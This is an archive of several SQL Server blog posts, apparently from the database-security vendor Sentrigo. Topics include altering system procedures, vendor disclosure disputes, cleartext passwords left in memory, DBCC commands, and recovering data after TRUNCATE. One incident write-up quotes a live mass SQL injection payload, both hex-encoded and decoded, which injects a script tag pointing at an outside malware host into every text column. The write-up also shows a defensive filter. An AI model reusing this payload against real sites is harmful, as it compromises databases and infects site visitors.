Entries tagged with “MS SQL Server”.


Sometimes, you want to enhance or change system stored procedures to add functionality like security related code. This is not supported and might blow up in your face so all the standard caveats apply. If it blows in your face, tough luck!

SQL2000 is pretty straight forward and you can find plenty of places on the web that will help you with the details.

Using SQL2005 and SQL2008 the process is a bit more complicated:

1. Stop SQL Server service.

2. On command prompt run the following command to run the server in single user mode – be sure to replace the MSSQLSERVER with the actual instance name
C:\>”C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe” -sMSSQLSERVER -m

3. Connect to SQL server with SSMS as ADMIN:HOSTNAME

4. Run the following to change the database to the system resource database: “USE mssqlsystemresource”

5. Run the following to change the database to read-write – “alter database mssqlsystemresource set read_write”

6. Run the following to load the text of the procedure – exec sp_helptext ‘stored procedure name you want to change’

7. Alter the procedure and add the relevant code – “alter procedure …”

8. Return the system resource database to read-only – “alter database mssqlsystemresource set read_only”

9. Shutdown the instance – “shutdown”

10. Start the instance using the service as usual

And, that is it. A somewhat complex process to change a system stored procedure.

Yesterday at Black Hat, David released information on his latest find, a pretty serious batch of vulnerabilities in Oracle 11g which allows any user to escalate privileges to gain complete access & control of the database.

What’s interesting here is not so much that there is yet another vulnerability  (for those of you who are running Hedgehog and getting vPatch updates, you are already protected!), but more how this demonstrates the very tricky relationship that often exists between ethical security researchers and the database vendors.

David has been contributing to the Oracle DB security research community for many years, and certainly has the process down pretty well for notifying Oracle and giving them time to make the fix before going public.  But, this time around, things didn’t go as planned.  After notifying Oracle in November, he apparently wasn’t satisfied with their response, and decided it was best to announce the vulnerability now.  The good news is he also provided recommendations on how to protect systems from being exploited.

We know how he feels.  In 6 out of the last 7 Oracle CPUs, one or more Sentrigo employees has been credited for contributions.  Pretty impressive for our size, and a testament to the work of our Red Team.  In all of those cases, we’ve been pretty satisfied with the pace of Oracle fixes, and have simply built protection into our products from our day-zero discovery and waited for Oracle to release a patch.

But, for those of you who have been reading this blog for a while, you’ll recall the incident last September, when after a year of prodding Microsoft to fix a flaw in SQL Server, we too reached a point of frustration and announced it.  Also, with a fix of course.  But, the decision to do this is not an easy one.  The very vendors you are hoping to have an excellent working relationship with, are not likely to be happy.  In this case, Microsoft tried to argue that it was not very serious… but as security researchers we simply didn’t agree (nor did most of the public based on comments we received).  I’m sure David felt the same way about this recent vulnerability.  You can’t simply leave it there for other (less ethical) people to find and exploit.

So, we’ll see how this one plays out… I’m guessing Oracle will eventually provide a patch.  But, it does raise the question of what the white hats of the world are supposed to do, when a vendor simply doesn’t get it.  I’d be interested in your thoughts…

A member of Sentrigos’ security and research team, Assaf Nativ, found an interesting security issue in all versions of MS SQL Server. Turns out that SQL Server saves in memory in clear text user credentials (passwords) of users logging in using SQL Server native authentication. Users using Windows authentication are not affected. Although Microsoft recommends that only Windows authentication should be used, the reality is that many instances are configured to use mixed mode authentication with applications and administrators connecting to the instance using native authentication.

We, of course, reported this to MSRC about a year ago but received a response saying that this is not a security issue because it requires administrative privileges to exploit. Well, we respectfully disagreed and approached MSRC several times but without success in changing their mind.

I believe that this is indeed a security flaw that should be fixed for the following reasons:

  • How many passwords do you use? For how many systems? You do the math 🙂 – most users reuse the same passwords between systems because it’s impossible to remember a separate strong password for all systems we use. Even administrators should not have access to end users’ set of passwords, as they can gain access to sensitive systems that were not open to them.
  • Most breaches are perpetrated by skilled insiders (e.g. administrators, programmers, etc). It is for this very reason that various standards and regulations mandate segregation of duties.
  • Many applications are deployed with administrative privileges. Hackers using a single SQL injection vulnerability can now access administrative passwords which may be used to penetrate other systems on the network, escalating the breach. This is even worse in the case of SQL Server 2000 and 2005 where this can be done remotely.

We, at Sentrigo, were convinced that SQL Server administrators out there should be aware of the danger and also should have a way to mitigate it so we’ve decided to publicize it and release a free tool to remove the clear text passwords from memory.

What do you think about this issue? I’d love to hear your thoughts.

I’ve just noticed that Microsoft had removed the DBCC BYTES command from DBCC.
On 2005:

DBCC TRACEON(2588)
DBCC HELP (‘?’)
GO

activecursors
addextendedproc
addinstance
auditevent
autopilot
buffer
bytes
cacheprofile
cachestats
callfulltext
checkalloc
checkcatalog
checkconstraints
checkdb
checkfilegroup
checkident
checkprimaryfile
checktable
cleantable
clearspacecaches
collectstats
concurrencyviolation
cursorstats
dbrecover
dbreindex
dbreindexall
dbrepair
debugbreak
deleteinstance
detachdb
dropcleanbuffers
dropextendedproc
config
dbinfo
dbtable
lock
log
page
resource
dumptrigger
errorlog
extentinfo
fileheader
fixallocation
flush
flushprocindb
forceghostcleanup
free
freeproccache
freesessioncache
freesystemcache
freeze_io
help
icecapquery
incrementinstance
ind
indexdefrag
inputbuffer
invalidate_textptr
invalidate_textptr_objid
latch
loginfo
mapallocunit
memobjlist
memorymap
memorystatus
metadata
movepage
no_textptr
opentran
optimizer_whatif
outputbuffer
perfmon
persiststackhash
pintable
proccache
prtipage
readpage
renamecolumn
ruleoff
ruleon
semetadata
setcpuweight
setinstance
setioweight
show_statistics
showcontig
showdbaffinity
showfilestats
showoffrules
showonrules
showtableaffinity
showtext
showweights
shrinkdatabase
shrinkfile
sqlmgrstats
sqlperf
stackdump
tec
thaw_io
traceoff
traceon
tracestatus
unpintable
updateusage
useplan
useroptions
writepage
cleanpage
DBCC execution completed. If DBCC printed error messages, contact your system administrator.

While running the same thing on 2008 does not contain DBCC BYTES.

I wonder what’s the reason for this change (I’ve checked the binary and it does not contain DBCC BYTES so it’s not just a help omision. I can think of several security reasons why you would like to remove this feature like reading interesting parts of memory remotely. On the other hand, it can be totally security unrelated. If anyone out there knows, please do share.

Its been a long time since I’ve written anything here. I’ve been extremely busy with my family move to the bay area. I still can’t believe the amount of paperwork required. I’ve filled virtually hundreds of forms and it’s not over yet. But, after a month here, I can say that we’ve finally settled down. Kids go to school, house is almost fully organized, my wife and I got our iPhones 3G 🙂

House picture Garden

Anyway, back to the subject of this entry – weird statements you see coming from applications when monitoring databases.

  • I’m still amazed to see the number of statements doing things like ‘where 1=1’ just out of sheer laziness of the programmer to check if the condition to append to a dynamic query is the first or the second. It’s not like this really hurts performance on mature databases because the optimizer will strip such predicates away when evaluating the execution plan, but those statements can really throw off a security solution trying to alert on SQL injection. Seeing such statements from applications written by database vendors (you know who you are) can really get me frustrated!
  • Another oddity I mostly see on MS SQL Server databases is the tendency to dynamically create stored procedures on the fly, and then call them to do simple things like updates and inserts. Does anyone really think that this is more secure or provides better performance than simply running the statement?
  • An anti-design pattern I’ve seen many times is choosing the ID of the next row by selecting max(id) + 1 from the table. It really made me laugh when I’ve seen this code in one particular instance responsible for adding rows to the audit table! For example, in a highly transactional environment, two sessions can perform select max(id) + 1 in the same time receiving the same number. Trying to use this as a new id will succeed in one session and fail in the other one thus omitting records from the log.
  • Enough was written about the “When others then null” exception handling…

How about you guys out there? What is the weirdest statement you’ve seen applications perform?

Well, it was an interesting day today for us in Sentrigo. One of our customers was being attacked by this mass SQL injection and since our software identified the attack he came to us to help him cope with the situation. As explained in other places, the attack takes advantage of vulnerable web sites and infects text fields in the database with a malicious Javascript. So, in our case, the initial attack started with the following SQL injection (I removed the actual table names and slightly changed the attack):

SELECT * FROM dbo.xxx WHERE yyy=1;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C4043205641524348415228323
53529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C4543542
0612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E
73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E44202862
2E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220
622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420
46524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C452840404645544348
5F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554
205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40
432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E616477626E722E636F6D
2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F
437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F722044
45414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));–
ORDER BY ooo ASC

Couple of things to notice:

  • As you can see, the pure int parameter was being treated by the application as a string and was concatenated directly into the query thus allowing an attacker to add anything he wants because SQL Server supports multiple commands in the same round-trip (batch) using “;”
  • The attack itself was hex-encoded to avoid detection and various complications

The attack decodes in SQL Server to the following code:

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype=’u’ AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(‘UPDATE [‘+@T+’] SET [‘+@C+’]=RTRIM(CONVERT(VARCHAR(4000),[‘+@C+’]))+”<script src=http://www.chkadw.com/b.js></script>”’) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

As you can see, this simple T-SQL iterates on all tables with text fields and appends a call to a script which in turn will attack visitors to the website. Since Hedgehog (our database activity monitoring tool) monitors database memory directly, we could see the command being executed in the decoded form which is really one of our strong points and makes it hard for attackers to evade detection.

So, after detecting the attack and terminating the offending sessions the customer asked our help in fixing his website. We’ve received the ASP source for his website and to my pleasant surprise, the code, although old, was very tidy and actually contained an attempt to prevent SQL injections. Every concatenation of parameters into SQL queries was done as follows:
“SELECT x FROM y WHERE z = ” + Replace(param, “‘”, “””)
Unfortunately, there are a couple of things wrong with this method:

  • If you go through the trouble of trying to escape parameters before concatenation, please use a central function so it will be easy to fix across the application
  • Most of the parameters are simple integers and no type checks are performed
  • Come on, the best way to avoid SQL injection is to use bind variables (parameterized queries). And it will also make your code run faster as the database will be able to cache the execution plan for the statements

Since the application contained many files, it was not feasible to actually go and change all the code to bind variables so I’ve added the following function to a central include file:

<%
Function stripSQL(param)
stripSQL = Replace(param, “‘”, “””)
Set RegularExpressionObject = New RegExp
‘ First pattern is the ; until —
With RegularExpressionObject
.Pattern = “;.+CAST\(.+–”
.IgnoreCase = True
.Global = True
End With
stripSQL = RegularExpressionObject.Replace(stripSQL, “”)
‘ Just to be on the safe side, replace all ;
stripSQL = Replace(stripSQL, “;”, “,”)
Set RegularExpressionObject = nothing
End Function
%>

This function, while very simplistic and definitely exploit oriented, was sufficient to stop the attack because we’ve removed the injected code from being concatenated.

Now, a simple Perl script to replace all the “Replace” occurrences in all files:
perl -i.bak -pe “s#Replace\((\w+), \x22\x27\x22, \x22\x27\x27\x22\)#stripSQL\($1\)#g” *.asp

And voila, the site is up and running…

As I wrote in a previous post, truncating tables or scrambling content might not remove the actual data from the datafiles. The examples I gave in that post were Oracle related and now I’ll show the same using MS SQL Server 2005. I’d like to thank Dmitriy Geyzerskiy for providing the actual working example.

create database Test

go

use Test

go

— Create a dummy table
create table aaa (a varchar(100));

go

BEGIN TRANSACTION
— Populate with dummy data (object names)
insert into aaa
select name from sys.all_objects;

COMMIT;

— Make sure the data is flushed to the disk
CHECKPOINT;

–get the file and page offsets
SELECT
CONVERT (VARCHAR (6),
CONVERT (INT,
SUBSTRING (sa.first_page, 6, 1) +
SUBSTRING (sa.first_page, 5, 1))) as [File offset],
CONVERT (VARCHAR (20),
CONVERT (INT,
SUBSTRING (sa.first_page, 4, 1) +
SUBSTRING (sa.first_page, 3, 1) +
SUBSTRING (sa.first_page, 2, 1) +
SUBSTRING (sa.first_page, 1, 1))) AS [First page]
FROM
sys.system_internals_allocation_units AS sa,
sys.partitions AS sp
WHERE
sa.container_id = sp.partition_id
AND sp.object_id = OBJECT_ID(‘aaa’);

–Allow DBCC output in user window
DBCC TRACEON(3604)

–truncate the table
TRUNCATE TABLE aaa

–examine the contents of the page (all the objects from the truncated table are there)
DBCC PAGE (‘Test’, — database name
1, — [File offset] from previous query
73, — [First page] from previous query
3) — extended output option

A somewhat technical post on MS SQL Server encrypted triggers.

It turns out that MS SQL Server 2005 has an issue with encrypted triggers in the model database. We’ve created an encrypted database level trigger on DDL operations in all databases including the model database so that when a new database is created the trigger will be created in the new database as well. The problem we’ve encountered is that the encrypted triggers are not correctly copied to the new database.

For example, here is the code for creating the triggers:

exec sp_MSForeachdb
‘use ?;
SET QUOTED_IDENTIFIER ON;
SET ANSI_NULLS ON;
IF EXISTS (SELECT * FROM sys.triggers
WHERE parent_class = 0 AND name = ”TEST_DDL_TRIGGER”)
DROP TRIGGER TEST_DDL_TRIGGER
ON DATABASE;’,
‘?’,
‘USE ?;
SET QUOTED_IDENTIFIER ON;
SET ANSI_NULLS ON;
EXECUTE(”CREATE TRIGGER TEST_DDL_TRIGGER
ON DATABASE WITH ENCRYPTION
FOR DDL_DATABASE_LEVEL_EVENTS
AS
BEGIN
— Do something…
END;”)’;
Now, let’s test this:
create database test;
GO;
use test;
create table tt (id int);

And voila –

Msg 102, Level 15, State 1, Procedure TEST_DDL_TRIGGER, Line 1
Incorrect syntax near ‘0xfa86’.

So, is there any MS SQL Server expert out there who can shed some light on this behavior? It looks like a bug to me.